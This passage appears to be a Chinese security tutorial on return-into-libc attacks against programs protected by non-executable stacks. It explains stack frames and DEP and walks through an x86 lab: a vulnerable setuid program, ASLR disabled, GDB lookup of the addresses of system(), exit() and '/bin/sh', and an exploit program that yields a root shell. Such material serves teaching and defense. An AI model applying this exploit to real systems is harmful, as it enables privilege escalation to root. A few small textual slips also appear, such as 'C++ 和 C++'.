最后,本文给出了针对这些攻击方法的防御手段。本文可以帮助读者了解 return-into-libc 攻击以及如何在系统中
防止攻击的发生。缓冲区溢出攻击是最常见的利用程序缺陷的攻击方法,并成为了当前重要的安全威胁之一。
在各种安全报告中,缓冲区溢出漏洞始终是其中很重要的一部分。缓冲区溢出攻击很容易被攻击者利用,因为 C++ 和 C++等语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出。利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位置,甚至包括控制程序执行流的关键数据(比如函数调用后的返回地址),从而控制程序的执行过程并实施恶意行为。
缓冲区溢出的常用攻击方法是将恶意代码 shellcode 注入到程序中,并用其地址来覆盖程序本身函数调用的返回地址,使得返回时执行此恶意代码而不是原本应该执行的代码。也就是说,这种攻击在实施时通常首先要将恶意代码注入目标漏洞程序中。但是,程序的代码段通常设置为不可写,因此攻击者需要将此攻击代码置于堆栈中。于是为了阻止此种类型的攻击,缓冲区溢出防御机制采用了非执行堆栈技术,这种技术使得堆栈上的恶意代码不可执行。而为了避开这种防御机制,缓冲区溢出又出现了新的变体 return-into-libc 攻击。return-into-libc 的攻击者并不需要栈可以执行,甚至不需要注入新的代码,就可以实现攻击。因此,如果希望编写的程序可以安全运行,就需要知道什么是 Return-into-libc 攻击,它的攻击原理以及可能的防御方式和手段。
数据执行保护策略与 return-into-libc 攻击
如前言所述,在缓冲区溢出攻击中攻击者需要将漏洞程序的控制流转移到攻击的代码。例如,攻击者可以通过溢出漏洞程序的缓冲区篡改函数的返回地址以使其指向已放置的恶意代码 shellcode,这样在函数返回时就会跳转到相应的恶意代码来执行。 也就是说,这种攻击方式需要首先将恶意代码注入(写入)目标程序中,并且在以后跳转到并执行此段代码。
针对上述这种攻击行为方式(先写后执行),研究者提出了数据执行保护策略(DEP)来帮助抵抗缓冲区溢出攻击。">安全策略可以控制程序对内存的访问方式,即被保护的程序内存可以被约束为只能被写或被执行(W XOR X),而不能先写后执行。目前,这种安全策略已经在系统已经得到广泛的应用 。前言中所述的不可执行堆栈就是该策略的一个特例,即堆栈可写但不可执行。数据执行保护策略虽然对程序运行时的内存访问提供了安全保护,保证内存只能被写或者被执行而不能先写后执行。但是不幸的是,这种保护方式并不是完全有效的,其仍然不能抵御不违反 W XOR X 保护策略的攻击方式。
Return-into-libc 攻击方式就不具有同时写和执行的行为模式,因为其不需要注入新的恶意代码,取而代之的是重用漏洞程序中已有的函数完成攻击,让漏洞程序跳转到已有的代码序列(比如库函数的代码序列)。攻击者在实施攻击时仍然可以用恶意代码的地址(比如 libc 库中的 system()函数等)来覆盖程序函数调用的返回地址,并传递重新设定好的参数使其能够按攻击者的期望运行。这就是为什么攻击者会采用 return-into-libc 的方式,并使用程序提供的库函数。这种攻击方式在实现攻击的同时,也避开了数据执行保护策略中对攻击代码的注入和执行进行的防护。
Return-into-libc 攻击原理
Return-into-libc 攻击可以将漏洞函数返回到内存空间已有的动态库函数中。而为了理解 return-into-libc 攻击,这里首先给出程序函数调用过程中栈帧的结构。
图 1.函数调用时栈帧的结构
图 1 给出了一个典型的函数调用时的栈帧结构,该栈从高位地址向低位地址增长。每当一个函数调用另一个函数向低地址方向压栈,而当函数返回时向高地址方向清栈。例如,当 main() 调用 func(arg_1,arg_2,arg_3) 时,首先将所有参数arg_1,arg_2 和 arg_3入栈。图 1 中参数从右向左依次被压入栈中,这是因为 C 语言中函数传参是从右向左压栈的。然后,call 指令会将返回地址压栈,并使执行流转到 func()。返回地址是 call 指令的下一条指令的地址,这个用于告知 func ()函数返回后从 main()函数的哪条指令开始执行。进入 func 函数后,通常需要将 main()函数的栈底指针 ebp 保存到栈中并将当前的栈顶指针 esp 保存在 ebp 中作为 func 的栈底。接下来,func 函数会在栈中为局部变量等分配空间。因此,调用函数 func()时的栈帧结构如图 1 所示。
而当 func()执行完成返回时 leave 指令将 ebp 拷贝到 esp 中清空局部变量在栈中的区域,然后从堆栈中弹出老 ebp 放回 ebp 寄存器使 ebp 恢复为 main()函数的栈底。然后 ret 指令从栈中获取返回地址,返回到 main()函数中继续执行。
攻击者可以利用栈中的内容实施 return-into-libc 攻击。这是因为攻击者能够通过缓冲区溢出改写返回地址为一个库函数的地址,并且将此库函数执行时的参数也重新写入栈中。这样当函数调用时获取的是攻击者设定好的参数值,并且结束后返回时就会返回到库函数而不是 main()。而此库函数实际上就帮助攻击者执行了其恶意行为。更复杂的攻击还可以通过 return-into-libc 的调用链(一系列库函数的连续调用)来完成。
Return-into-libc 攻击实验
x86 平台攻击实验
作者在 Ubuntu x86 系统中进行了 return-into-libc 攻击实验。实验通过使漏洞程序跳转到 libc 库函数的 system()函数并执行 system("/bin/sh")来实现的攻击。实验主要涉及一个漏洞程序和一个攻击程序。攻击时,攻击程序首先将溢出缓冲区的内容写入文件中,而漏洞程序则将此文件内容读入缓冲区造成其溢出。更进一步的攻击可以参见参考资源中的“return-to-libc 攻击实验”。
清单 1.漏洞程序核心内容
int bof(FILE *badfile){ ...... char buffer[12]; fread(buffer, sizeof(char), 50, badfile); ......}
清单 1 是目标漏洞程序,缓冲区 buffer 在读入文件 badfile 时被溢出。攻击时,需要在 bof 的返回地址即 buf[24-27]这四个字节存入 system()函数的入口地址,接着在buf[28-31]的这四个字节放置exit函数的入口地址作为返回地址,最后在buf[32-35]这四个字节放置 system 的参数"/bin/sh"的地址。如果溢出成功,则当 bof 返回时会跳转到 system()函数并最终调用 exit 函数。
为此,需要获得system()、exit()函数的入口地址,同时还需要获得system的参数"/bin/sh"的地址。
第一步:编译漏洞程序sudo sysctl -w kernel.randomize_va_space=0gcc -g -fno-stack-protector -o retlibc retlibc.csudo chown root:root retlibcsudo chmod 4755 retlibc
第二步:将"/bin/sh"放置在环境变量BIN_SH中,并通过 getenv()函数获得其大致地址 0xbffffe1c。但实际字符串 "/bin/sh" 的地址还需要进一步确认。
$gdb retlibc......(gdb)p/x *0xbffffe1c@4$1={0x5f4e4942,0x2f3d4853,0x2f6e6962,0x48006873}(gdb)p/x *0xbffffe23@4$2={0x6e69622f,0x68732f,0x454d4f48,0x6f682f3d}(gdb)x/8ub 0xbffffe230xbffffe23: 47 98 105 110 47 115 104 0(gdb)
最后一条命令打印出来的实际上字符串“/bin/sh”的 ASCII 编码,因此可以推断 “/bin/sh” 字符串在 0xbffffe23附近。在实际攻击中通过实验可以发现字符串实际位于地址 0xbffffe24。
第三步:用 GDB 获取 system()和 exit()的入口地址。
$gdb retlibc......(gdb) p system$1={<text variable, no debug info> 0x168680 <system>(gdb)p exit$2={<text variable, no debug info> 0x15e6e0 <exit>(gdb)
第四步:在获得了三个地址后就可以得到清单2 中的攻击程序,并实施攻击。
清单 2.攻击程序核心内容
int main(int argc, char **argv){ ...... *(long *) &buf[24] = 0x168680 ; // system() *(long *) &buf[28] = 0x15e6e0 ; // exit() *(long *) &buf[32] = 0xbffffe24; // "/bin/sh" fwrite(buf, sizeof(buf), 1, badfile); ...... }
实施攻击
$./retlibc#exit$
攻击实验说明 return-into-libc 攻击可以在 x86 平台中成功实施,执行了 system(“/bin/sh”)获得了root权限,那么在 x86_64 平台中呢?